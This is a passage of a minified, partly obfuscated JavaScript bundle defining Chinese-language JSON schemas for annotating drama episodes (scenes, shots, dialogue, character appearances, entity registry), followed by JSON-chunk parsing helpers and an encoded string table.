\u4E0E\u9053\u5177\u5171\u540C\u590D\u73B0\u573A\u666F\u3002\u906E\u6321\u6216\u672A\u786E\u8BA4\u90E8\u4F4D\u4FDD\u7559\u672A\u77E5\uFF0C\u4E0D\u4ECE\u5C40\u90E8\u8865\u9020\u5168\u8EAB\u3002\u5730\u70B9\u548C\u9053\u5177\u5199\u76F8\u5BF9\u5E38\u6001\u7684\u6301\u7EED\u5916\u89C2\u5DEE\u5F02\uFF1B\u52A8\u4F5C\u3001\u59FF\u6001\u3001\u60C5\u7EEA\u548C\u5267\u60C5\u8BC4\u4EF7\u5F52\u6B63\u6587"}}},Hg={type:"object",description:"\u753B\u50CF\u5B57\u6BB5\u586B\u7A7A\u5B57\u7B26\u4E32\uFF0Cpersistent_marks \u586B\u7A7A\u6570\u7EC4\uFF1B\u5168\u90E8\u5916\u8C8C\u3001\u8EAB\u4F53\u6807\u8BB0\u4E0E\u53EF\u8FA8\u58F0\u7EBF\u5199\u5165\u5404\u9636\u6BB5\u5B8C\u6574 state\u3002",required:["apparent_gender","apparent_age","face_shape","brows_eyes","nose","mouth","skin_features","hair","build","persistent_marks","voice"],additionalProperties:!1,properties:{apparent_gender:{type:"string"},apparent_age:{type:"string"},face_shape:{type:"string"},brows_eyes:{type:"string"},nose:{type:"string"},mouth:{type:"string"},skin_features:{type:"string"},hair:{type:"string"},build:{type:"string"},persistent_marks:{type:"array",items:{type:"string"}},voice:{type:"string"}}},Zg={type:"object",required:["synopsis","scenes","registry_delta","open_threads"],additionalProperties:!1,properties:{synopsis:{type:"string",description:"\u672C\u96C6\u5267\u60C5\u6897\u6982\uFF0C\u6309\u53D1\u751F\u987A\u5E8F\uFF0C200-300 \u5B57\u7EAF\u6587\u672C"},scenes:{type:"array",minItems:1,description:"\u672C\u96C6\u6240\u6709\u573A\u666F\u5355\u5143\uFF0C\u6309\u65F6\u95F4\u987A\u5E8F\u6392\u5217\u3002\u573A\u5185\u5C3D\u91CF\u5FE0\u5B9E\u8FD8\u539F\u539F\u7247\u5206\u955C\uFF1A\u6BCF\u6B21\u5207\u955C\u3001\u8FDE\u7EED\u955C\u5934\u5185\u7684\u6444\u5F71\u53D8\u5316\u3001\u53EF\u89C1\u8868\u6F14\u548C\u58F0\u97F3\u4E8B\u4EF6\u6309\u5B9E\u9645\u65F6\u95F4\u4EA4\u9519\u4FDD\u7559\uFF0C\u91CD\u590D\u955C\u5934\u4E5F\u4E0D\u53BB\u91CD\uFF1B\u5730\u70B9\u3001\u660E\u663E\u65F6\u6BB5\u6216\u53D9\u4E8B\u7EBF\u53D8\u5316\u65F6\u62C6\u573A\uFF0C\u666E\u901A\u5207\u955C\u4E0D\u5355\u72EC\u62C6 scene\uFF1B\u540C\u4E00\u8FDE\u7EED\u573A\u5185\u7684\u4EBA\u7269\u9020\u578B\u53D8\u5316\u4FDD\u7559\u5728\u540C\u4E00\u573A\uFF1B\u8DE8\u5730\u70B9\u8499\u592A\u5947\u62C6\u6210\u591A\u4E2A\u77ED\u573A",items:{type:"object",required:["space","time","timeRange","location","characters","props","shots","voices"],additionalProperties:!1,properties:{space:{type:"string",description:"\u5185\u666F\u586B\u300C\u5185\u300D/\u5916\u666F\u586B\u300C\u5916\u300D\uFF1B\u4E0D\u786E\u5B9A\u586B\u7A7A\u4E32"},time:{type:"string",enum:["\u65E5","\u591C","\u6668","\u660F"],description:"\u672C\u573A\u5FC5\u987B\u9009\u62E9\u4E00\u4E2A\u65F6\u6BB5\uFF1A\u767D\u5929/\u65E5\u95F4\u586B\u300C\u65E5\u300D\uFF0C\u591C\u665A/\u591C\u95F4\u586B\u300C\u591C\u300D\uFF0C\u6E05\u6668/\u9ECE\u660E\u586B\u300C\u6668\u300D\uFF0C\u9EC4\u660F/\u508D\u665A\u586B\u300C\u660F\u300D\u3002\u7ED3\u5408\u7167\u660E\u3001\u4F5C\u606F\u3001\u5929\u7A7A\u548C\u5267\u60C5\u4E0A\u4E0B\u6587\u5224\u65AD\uFF0C\u4E0D\u5F97\u7559\u7A7A"},timeRange:{type:"string",description:"\u672C\u573A\u8D77\u6B62\u65F6\u95F4 MM:SS-MM:SS\uFF0C\u53EF\u4FDD\u7559\u539F\u7247\u4F9D\u636E\u652F\u6301\u7684 1\u20133 \u4F4D\u5C0F\u6570\uFF1BSS \u4E3A 00\u201359\uFF0C\u6574\u5206\u949F\u5199\u4E0B\u4E00\u5206\u949F\u7684 :00"},location:{type:"string",description:"\u672C\u573A\u552F\u4E00\u7A33\u5B9A\u4E3B\u7A7A\u95F4\u5730\u70B9\u540D\uFF0C\u6CBF\u7528\u89C4\u8303\u540D\uFF1B\u5BA2\u5385/\u5367\u5BA4/\u536B\u751F\u95F4/\u5927\u5385/\u5E7F\u573A/\u821E\u53F0/\u540E\u53F0\u5206\u522B\u5EFA\u5730\u70B9\uFF0C\u76F8\u5173\u7A7A\u95F4\u7528\u300E\u8C6A\u5B85\xB7\u5BA2\u5385\u300F\u5F0F\u547D\u540D"},characters:{type:"array",description:"\u672C\u573A\u5728\u573A\u7684\u5177\u4F53\u5355\u4EBA\u89D2\u8272\uFF08\u7FA4\u4F17\u4E0D\u5217\uFF09\u3002\u540C\u4E00\u89D2\u8272\u53EA\u80FD\u51FA\u73B0\u4E00\u6B21\uFF1B\u5176 states \u586B\u672C\u573A\u51FA\u73B0\u8FC7\u7684\u5168\u90E8\u7A33\u5B9A\u9020\u578B/\u72B6\u6001\u96C6\u5408",items:{type:"object",required:["name","states"],additionalProperties:!1,properties:{name:{type:"string",description:"\u89D2\u8272\u89C4\u8303\u540D"},states:{type:"array",items:qg,description:"\u672C\u573A\u8BE5\u89D2\u8272\u51FA\u73B0\u8FC7\u7684\u5168\u90E8\u5916\u8C8C\u9636\u6BB5\u4E0E\u9020\u578B\u72B6\u6001\u540D\u96C6\u5408\uFF0C\u9010\u5B57\u5F15\u7528\u5DF2\u6709\u767B\u8BB0\u540D\u6216\u672C\u6B21\u65B0\u5EFA\u540D\u3002\u9636\u6BB5\u548C\u9020\u578B\u5747\u76F8\u540C\u624D\u6CBF\u7528\u5DF2\u6709\u540D\uFF1B\u65E0\u6CD5\u786E\u8BA4\u72B6\u6001\u65F6\u586B\u7A7A\u6570\u7EC4\u3002\u540C\u4E00\u89D2\u8272\u4E00\u6761\u8BB0\u5F55\uFF0C\u56DE\u5FC6\u53CA\u573A\u5185\u53D8\u5316\u5305\u542B\u5B9E\u9645\u51FA\u73B0\u7684\u5404\u9636\u6BB5\u72B6\u6001"}}}},props:{type:"array",items:{type:"string"},description:"\u672C\u573A\u5728\u573A\u7684\u5173\u952E\u9053\u5177\u540D"},shots:{type:"array",description:"\u672C\u573A\u72EC\u7ACB\u7684\u9010\u955C\u6E05\u5355\uFF0C\u4E0E\u58F0\u97F3\u5206\u5F00\u76D8\u70B9\u3002\u539F\u7247\u6BCF\u6B21\u5207\u955C\u90FD\u5FC5\u987B\u6709\u4E00\u6761\uFF0C\u91CD\u590D\u955C\u5934\u4E5F\u4E0D\u53BB\u91CD\uFF1B\u8FDE\u7EED\u955C\u5934\u5185\u7684\u6444\u5F71\u6216\u8868\u6F14\u53D8\u5316\u53E6\u589E\u4E00\u6761\u3002\u4E0D\u56E0\u4E3A\u53F0\u8BCD\u8FDE\u7EED\u6216\u5267\u60C5\u76EE\u7684\u76F8\u540C\u800C\u7701\u7565\u5206\u955C",items:{type:"object",required:["ts","camera","visual"],additionalProperties:!1,properties:{ts:jg,camera:{type:"string",description:"\u672C\u955C\u5934\u53EF\u786E\u8BA4\u7684\u5207\u6362\u5173\u7CFB\u3001\u666F\u522B\u3001\u89D2\u5EA6\u3001\u673A\u4F4D\u3001\u8FD0\u955C\u3001\u6784\u56FE\u3001\u7126\u70B9\u548C\u753B\u9762\u4E3B\u4F53\uFF1B\u53EA\u5199\u539F\u7247\u80FD\u786E\u8BA4\u7684\u6444\u5F71\u4E8B\u5B9E\uFF0C\u4E0D\u63A8\u6D4B\u955C\u5934\u53C2\u6570\u6216\u62CD\u6444\u610F\u56FE"},visual:{type:"string",description:"\u672C\u955C\u5934\u5B9E\u9645\u53EF\u89C1\u7684\u73AF\u5883\u3001\u4EBA\u7269\u5360\u4F4D\u4E0E\u7AD9\u4F4D\u3001\u59FF\u6001\u3001\u9762\u5411\u3001\u89C6\u7EBF\u3001\u8868\u60C5\u3001\u63A5\u89E6\u3001\u52A8\u4F5C\u5BF9\u8C61\u3001\u9053\u5177\u548C\u7ED3\u679C\uFF1B\u53EA\u5199\u753B\u9762\u4E8B\u5B9E\uFF0C\u4E0D\u7528\u60C5\u7EEA\u3001\u6001\u5EA6\u6216\u5FC3\u7406\u6982\u62EC"}}}},voices:{type:"array",description:"\u672C\u573A\u72EC\u7ACB\u7684\u58F0\u97F3\u6E05\u5355\u3002\u5B8C\u6574\u4FDD\u7559\u51FA\u955C\u5BF9\u767D\u3001\u753B\u5916\u5BF9\u767D\u3001\u89D2\u8272\u5185\u5FC3\u72EC\u767D/\u81EA\u8FF0\u3001\u5BA2\u89C2\u65C1\u767D\u3001\u7535\u8BDD/\u5E7F\u64AD/\u8BBE\u5907\u58F0\u548C\u7FA4\u4F53\u58F0\u3002\u53F0\u8BCD\u8DE8\u955C\u65F6\u6309\u81EA\u7136\u8BED\u53E5\u62C6\u5206\uFF0C\u4E0D\u5F97\u628A\u8DE8\u591A\u4E2A\u955C\u5934\u7684\u591A\u53E5\u53F0\u8BCD\u5408\u5E76\u6210\u4E00\u6761",items:{type:"object",required:["kind","speaker","parenthetical","ts","content"],additionalProperties:!1,properties:{kind:{type:"string",enum:["dlg","think"],description:"dlg=\u4EBA\u7269\u5BF9\u4ED6\u4EBA\u8BF4\u51FA\u7684\u58F0\u97F3\u6216\u5BA2\u89C2\u65C1\u767D\uFF1Bthink=\u97F3\u8F68\u5B9E\u9645\u5305\u542B\u3001\u660E\u786E\u5C5E\u4E8E\u67D0\u89D2\u8272\u7684\u5185\u5FC3\u72EC\u767D/\u7B2C\u4E00\u4EBA\u79F0\u81EA\u8FF0"},speaker:{type:"string",description:"\u8BF4\u8BDD\u4EBA\u89C4\u8303\u540D\uFF1B\u5BA2\u89C2\u53D9\u8FF0\u8005\u6216\u8EAB\u4EFD\u4E0D\u660E\u65C1\u767D\u7528\u300Ebroadcast:\u65C1\u767D\u300F\uFF0C\u5E7F\u64AD\u7528\u300Ebroadcast:\u540D\u300F\uFF0C\u65E0\u6CD5\u533A\u5206\u6210\u5458\u7684\u7FA4\u4F53\u5171\u540C\u53D1\u58F0\u7528\u300Egroup:\u7FA4\u4F53\u540D\u300F"},parenthetical:{type:"string",description:"\u53EF\u786E\u8BA4\u7684\u53D1\u58F0\u65B9\u5F0F\u3001\u58F0\u97F3\u6765\u6E90\uFF0C\u6216\u4E0E\u53F0\u8BCD\u540C\u65F6\u53D1\u751F\u7684\u77ED\u4FC3\u53EF\u89C1\u8868\u6F14\uFF1B\u6CA1\u6709\u5219\u586B\u7A7A\u4E32\u3002\u6444\u5F71\u8C03\u5EA6\u548C\u5F71\u54CD\u8FDE\u7EED\u6027\u7684\u52A8\u4F5C\u5C5E\u4E8E shots\uFF0C\u4E0D\u5199\u5728\u8FD9\u91CC\uFF1B\u4E0D\u7528\u62BD\u8C61\u60C5\u7EEA\u3001\u6001\u5EA6\u6216\u5FC3\u7406\u6807\u7B7E"},ts:jg,content:{type:"string",description:"\u9010\u5B57\u4FDD\u7559\u97F3\u8F68\u5B9E\u9645\u8BED\u8A00\u548C\u5939\u6742\u8BED\u8A00\uFF0C\u4E0D\u7FFB\u8BD1\u3001\u4E0D\u6539\u5199\u3001\u4E0D\u7528\u7FFB\u8BD1\u5B57\u5E55\u66FF\u6362\u5916\u8BED\u539F\u58F0"}}}}}}},registry_delta:{type:"object",description:"\u5BF9\u5DF2\u77E5\u8BBE\u5B9A\u7684\u589E\u91CF\u7EF4\u62A4\u3002\u5DF2\u6709\u4E14\u65E0\u65B0\u4FE1\u606F\u7684\u5B9E\u4F53\u4E00\u4E2A\u5B57\u90FD\u522B\u5199",required:["new_entities","enrich","canonicalize"],additionalProperties:!1,properties:{new_entities:{type:"array",description:"\u672C\u96C6\u9996\u6B21\u51FA\u73B0\u3001\u4E14\u5DF2\u77E5\u8BBE\u5B9A\u91CC\u6CA1\u6709\u7684\u5B9E\u4F53\u3002\u5FC5\u987B\u8986\u76D6 scenes.location\u3001scenes.characters\u3001scenes.props \u548C\u4EBA\u7269 voices.speaker \u4E2D\u6240\u6709\u65E0\u6CD5\u89E3\u6790\u5230\u5DF2\u77E5\u8BBE\u5B9A\u6216 canonicalize \u76EE\u6807\u7684\u540D\u79F0\uFF1B\u53EA\u767B\u8BB0\u5177\u4F53\u5355\u4EBA\u89D2\u8272\u3001\u7A33\u5B9A\u5730\u70B9\u548C\u5173\u952E\u9053\u5177\uFF0C\u7FA4\u4F17\u4E0D\u767B\u8BB0",items:{type:"object",required:["name","kind","status","importance","appearance","role","states","aliases"],additionalProperties:!1,properties:{name:{type:"string",description:"\u89C4\u8303\u540D\uFF1B\u8BA4\u4E0D\u51FA\u4E14\u65E0\u672C\u540D\u7684\u4EBA\u7528\u300E\u7A33\u5B9A\u5916\u89C2\u7279\u5F81+\u5E74\u9F84\u6BB5+\u6027\u522B\u300F\u6784\u6210\u4E0D\u542B\u59D3\u7684\u63CF\u8FF0\u540D\uFF0C\u7EDD\u4E0D\u7F16\u5E26\u59D3\u5047\u540D"},kind:lI,status:{type:"string",enum:["canonical","provisional"],description:"canonical=\u8EAB\u4EFD\u5DF2\u786E\u8BA4\uFF1Bprovisional=\u8BA4\u4E0D\u51FA/\u672A\u70B9\u540D\uFF0C\u5F85\u540E\u7EED\u7528\u76F4\u63A5\u547D\u540D\u8BC1\u636E\u5347\u7EA7\u89C4\u8303\u540D"},importance:{type:"string",enum:["featured","background"]},appearance:{type:"string",description:"\u5730\u70B9/\u9053\u5177\u7684\u7A33\u5B9A\u53EF\u89C1\u63CF\u8FF0\uFF0C\u4EBA\u7269\u586B\u7A7A\u4E32\u3002\u5730\u70B9\u5199\u7A7A\u95F4\u7ED3\u6784\u3001\u6750\u8D28\u3001\u8272\u5F69\u548C\u56FA\u5B9A\u9648\u8BBE\uFF1B\u9053\u5177\u5199\u5F62\u5236\u3001\u6750\u8D28\u3001\u989C\u8272\u548C\u5C3A\u5BF8\u5173\u7CFB"},role:{type:"string",description:"\u4EBA\u7269\u53EA\u5199\u8EAB\u4EFD\u79F0\u8C13\u4E0E\u4EBA\u7269\u5173\u7CFB\uFF0C\u5730\u70B9/\u9053\u5177\u5199\u7528\u9014\uFF1B\u5916\u8C8C\u5F52state\uFF0C\u884C\u4E3A\u548C\u5267\u60C5\u8BC4\u4EF7\u5F52\u6B63\u6587\uFF0C\u975E\u7A7A"},states:{type:"array",items:zg,description:"\u672C\u96C6\u8BE5\u5B9E\u4F53\u51FA\u73B0\u7684\u9636\u6BB5\u72B6\u6001\u3002\u9996\u6B21\u4EBA\u7269\u767B\u8BB0\u4E5F\u4FDD\u5B58\u5F53\u524D\u5B8C\u6574\u5916\u8C8C\u3001\u53EF\u8FA8\u58F0\u7EBF\u4E0E\u670D\u9970\uFF1B\u6BCF\u9879\u7ED9\u51FA\u53EF\u533A\u5206\u7684\u9636\u6BB5\u72B6\u6001\u540D\u53CA\u6765\u6E90\u652F\u6301\u7684\u8BE6\u7EC6\u63CF\u8FF0"},aliases:{type:"array",items:{type:"string"},description:"\u672C\u96C6\u89C1\u5230\u7684\u5176\u5B83\u79F0\u547C"}}}},enrich:{type:"array",description:"\u5BF9\u5DF2\u77E5\u8BBE\u5B9A\u91CC\u5DF2\u6709\u5B9E\u4F53\u7684\u8865\u5145/\u66F4\u6B63\uFF0C\u53EA\u5199\u53D1\u751F\u53D8\u5316\u7684\u5B57\u6BB5\uFF1B\u65E0\u53D8\u5316\u7684\u5B57\u6BB5\u586B\u7A7A\u4E32/\u7A7A\u6570\u7EC4\uFF0C\u6574\u4F53\u65E0\u53D8\u5316\u7684\u5B9E\u4F53\u4E0D\u8981\u51FA\u73B0",items:{type:"object",required:["name","add_recognition_anchors","identity_profile_patch","appearance","role","add_aliases","add_states"],additionalProperties:!1,properties:{name:{type:"string",description:"\u5DF2\u77E5\u5B9E\u4F53\u7684\u89C4\u8303\u540D"},add_recognition_anchors:{type:"array",items:{type:"string"},description:"\u586B\u7A7A\u6570\u7EC4\uFF1B\u4EBA\u7269\u8BC6\u522B\u6240\u9700\u7684\u53EF\u89C1\u7279\u5F81\u4E0E\u58F0\u7EBF\u4FDD\u5B58\u5728\u5BF9\u5E94 state"},identity_profile_patch:Hg,identity_revision:{type:"object",description:"\u65E2\u6709\u753B\u50CF\u6216\u951A\u70B9\u975E\u7A7A\u65F6\u63D0\u4F9B\uFF1Aprofile \u4E2D\u5B57\u7B26\u4E32\u5168\u90E8\u4E3A\u7A7A\u3001persistent_marks \u548C recognition_anchors \u5747\u4E3A\u7A7A\u6570\u7EC4\uFF0C\u6574\u4F53\u6E05\u7A7A\u65E7\u753B\u50CF\u4E0E\u951A\u70B9\uFF1B\u6709\u8BC1\u636E\u7684\u4E8B\u5B9E\u8865\u5165\u9002\u7528\u7684 add_states\uFF0Crole \u5B8C\u6574\u7ED9\u51FA\u8EAB\u4EFD\u5173\u7CFB\uFF0C\u663E\u5F0F\u7A7A\u4E32\u8868\u793A\u6E05\u9664\u65E7 role\u3002\u65E0\u9700\u6E05\u7406\u65F6\u7701\u7565\u3002",required:["profile","recognition_anchors"],additionalProperties:!1,properties:{profile:Hg,recognition_anchors:{type:"array",items:{type:"string"}}}},appearance:{type:"string",description:"\u5730\u70B9/\u9053\u5177\u66F4\u51C6\u786E\u7684\u7A33\u5B9A\u5916\u89C2\uFF1B\u4EBA\u7269\u6216\u65E0\u66F4\u65B0\u586B\u7A7A\u4E32"},role:{type:"string",description:"\u4EBA\u7269\u5DF2\u786E\u8BA4\u7684\u8EAB\u4EFD\u79F0\u8C13\u4E0E\u5173\u7CFB\uFF1B\u5730\u70B9/\u9053\u5177\u5199\u7528\u9014\u3002\u63D0\u4F9B identity_revision \u65F6\u586B\u5199\u5B8C\u6574\u8EAB\u4EFD\u5173\u7CFB\uFF0C\u7A7A\u4E32\u6E05\u9664\u65E7 role\uFF1B\u666E\u901A\u589E\u91CF\u65E0\u66F4\u65B0\u586B\u7A7A\u4E32"},add_aliases:{type:"array",items:{type:"string"},description:"\u672C\u96C6\u65B0\u51FA\u73B0\u7684\u79F0\u547C"},add_states:{type:"array",items:zg,description:"\u672C\u96C6\u65B0\u72B6\u6001\uFF0C\u4EE5\u53CA\u6709\u8BC1\u636E\u8865\u5168\u7684\u65E7\u72B6\u6001\u3002\u6BCF\u9879\u72EC\u7ACB\u5199\u5168\u8BE5\u9636\u6BB5\u5916\u8C8C\u3001\u58F0\u7EBF\u4E0E\u51C6\u786E\u670D\u9970\uFF0C\u5305\u62EC\u8DE8\u9636\u6BB5\u76F8\u540C\u7279\u5F81\u3002\u65E2\u6709\u9636\u6BB5\u9010\u5B57\u6CBF\u7528\u5176 name\uFF1B\u4EC5\u90E8\u5206\u5F15\u7528\u5F97\u5230\u65B0\u8BC1\u636E\u65F6\uFF0C\u65B0\u5EFA\u72B6\u6001\u5E76\u7ED1\u5B9A\u5DF2\u786E\u8BA4\u573A\u666F\uFF0C\u5176\u4F59\u8303\u56F4\u4FDD\u7559\u5F85\u6838"}}}},canonicalize:{type:"array",description:"\u4EC5\u51ED\u672C\u96C6\u76F4\u63A5\u51FA\u73B0\u7684\u4E66\u9762\u6B63\u5F0F\u59D3\u540D\u6216\u53F0\u8BCD\u672C\u540D\uFF0C\u628A\u5DF2\u77E5\u4EBA\u7269\u7684\u63CF\u8FF0\u540D\u3001\u7B80\u79F0\u6216\u4E0D\u5B8C\u6574\u59D3\u540D\u5347\u7EA7\u4E3A\u66F4\u51C6\u786E\u7684\u89C4\u8303\u540D\uFF1B\u5267\u60C5\u63A8\u65AD\u4E0D\u80FD\u5355\u72EC\u4F5C\u4E3A\u6539\u540D\u8BC1\u636E",items:{type:"object",required:["from_name","canonical_name","evidence"],additionalProperties:!1,properties:{from_name:{type:"string",description:"\u5DF2\u77E5\u8BBE\u5B9A\u4E2D\u7684\u5F53\u524D\u89C4\u8303\u540D\u6216\u65E2\u6709\u522B\u540D"},canonical_name:{type:"string",description:"\u4E66\u9762\u6B63\u5F0F\u59D3\u540D\u6216\u53F0\u8BCD\u76F4\u63A5\u8BF4\u51FA\u7684\u672C\u540D"},evidence:{type:"string",description:"\u76F4\u63A5\u547D\u540D\u8BC1\u636E\uFF0C\u5FC5\u987B\u5305\u542B MM:SS \u65F6\u95F4\u6233\u4EE5\u53CA\u753B\u9762\u539F\u6587\u6216\u542C\u5230\u7684\u539F\u8BDD"}}}}}},open_threads:{type:"object",required:["opened","closed"],additionalProperties:!1,properties:{opened:{type:"array",description:"\u672C\u96C6\u65B0\u5F00\u3001\u5C1A\u672A\u4EA4\u4EE3\u7ED3\u679C\u7684\u60AC\u5FF5/\u5173\u7CFB\u53D8\u5316",items:{type:"object",required:["text"],additionalProperties:!1,properties:{text:{type:"string"}}}},closed:{type:"array",description:"\u672C\u96C6\u4EA4\u4EE3\u4E86\u7ED3\u679C\u3001\u8981\u5173\u95ED\u7684\u5DF2\u77E5\u7EBF\u7D22 id\uFF08\u5982 t3_1\uFF09",items:{type:"object",required:["ref"],additionalProperties:!1,properties:{ref:{type:"string"}}}}}}}},Wg={type:"object",required:["merges","newEntities"],additionalProperties:!1,properties:{merges:{type:"array",description:"\u672A\u767B\u8BB0\u540D\u5B57\u5176\u5B9E\u662F\u67D0\u5DF2\u767B\u8BB0\u5B9E\u4F53\u7684\u522B\u540D",items:{type:"object",required:["from","into"],additionalProperties:!1,properties:{from:{type:"string",description:"\u8FD9\u4E2A\u672A\u767B\u8BB0\u7684\u540D\u5B57"},into:{type:"string",description:"\u5B83\u6240\u6307\u7684\u5DF2\u767B\u8BB0\u5B9E\u4F53 canonical \u540D"}}}},newEntities:{type:"array",description:"\u786E\u5B9E\u662F\u5168\u65B0\u5B9E\u4F53\u7684\u540D\u5B57\uFF0C\u5404\u767B\u8BB0\u4E00\u6761",items:{type:"object",required:["kind","name","description","aliases","defaultLook"],additionalProperties:!1,properties:{kind:{type:"string",enum:["actor","location","prop"]},name:{type:"string",description:"\u7EAF canonical \u540D"},description:{type:"string",description:"\u4E00\u53E5\u8BDD\u8EAB\u4EFD\uFF0C\u975E\u7A7A\uFF1B\u4EBA\u7269\u4E0D\u5199\u670D\u88C5\u9020\u578B"},aliases:{type:"array",items:{type:"string"},description:"\u5176\u4ED6\u53EB\u6CD5"},defaultLook:Fg}}}}};var z=dn;function dn(e,t){e=e-0;let n=Xp(),o=n[e];if(dn.AowUYu===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};dn.vGSHGD=i,dn.ykrKeL={},dn.AowUYu=!0}let r=n[0];dn.qbkWqr!==r&&(dn.ykrKeL={},dn.qbkWqr=r);let s=dn.ykrKeL[e];return s===void 0?(o=dn.vGSHGD(o),dn.ykrKeL[e]=o):o=s,o}var uI=[z(37),z(84),z(100),z(83),z(39),"",z(71),z(55),z(1),z(47),z(10),z(70),z(56),z(46),z(92),z(2),z(61),z(24),z(82),z(51),z(79),z(88),z(58),z(30),z(65),z(73),z(27),z(59),z(86)][z(33)](`
244
+ `)}function Ua(e,t){let n=Y;return new S(e,{exitCode:X,errorCode:n(12),hint:n(44),data:{actual:t}})}function iI(e){let t=Y;return typeof e!==t(29)||e===null||Array[t(46)](e)?!1:Object[t(61)](e)[t(1)]===1&&t(33)in e&&Array[t(46)](e[t(33)])}function Hp(e,t){let n=Y;if(!iI(e))throw Ua(n(19)+t[n(73)]+n(63),[n(31)]);let o={chunk:t[n(73)],line_start:t[n(64)],line_end:t[n(36)]},i;try{let r=e[n(33)][n(25)](s=>{let c=n;if(typeof s!==c(29)||s===null||Array[c(46)](s)||Object[c(26)](s,c(56))){if(c(72)!==c(30))throw new we(c(57),1);if(typeof _0x5a19bf!==c(29)||_0x5b66f6===null||_0x10f05d[c(46)](_0x23b052)||_0x733702[c(26)](_0x1cb121,c(56)))throw new _0x3dba95(c(57),1);return _0x5020a9[c(32)]({..._0x80cb75,source:_0x442727})}return JSON[c(32)]({...s,source:o})})[n(74)](`
245
+ `);i=is(r)}catch(r){throw r instanceof we?Ua(n(19)+t[n(73)]+": "+r[n(17)],[r[n(17)]]):r}if(i[n(1)]===0&&t[n(53)][n(52)]()!=="")throw n(60)===n(22)?_0x1b2e63(n(19)+_0x2d4dff[n(73)]+n(63),[n(31)]):Ua(n(19)+t[n(73)]+n(69),[n(2)]);return i}function zp(){let e=["lsdOVAZLNlRVVjP7iMTPBMqIoIj0CMfUC2L0Aw9UiIWIy29UDgvUDci6iUw/OowUNUI9RoAnOUAiKoEUGos9K+s4REAwH+EAHoI9RowCUUAwH+wTLYj944cc5BI46kEb5Qc85BYp6k+n5lMF6kAb57+76k+r77Ym5l6l5AAcigbgteftsejbq0TGiokgKIbG6zEQ5zUEyooaGwbcqunlifrpifbsrvnftLrGiokgKIbG5zUE5yIW546W5A6EyooaGG","BgvUz3rO","CMvJB3jKCZOGma","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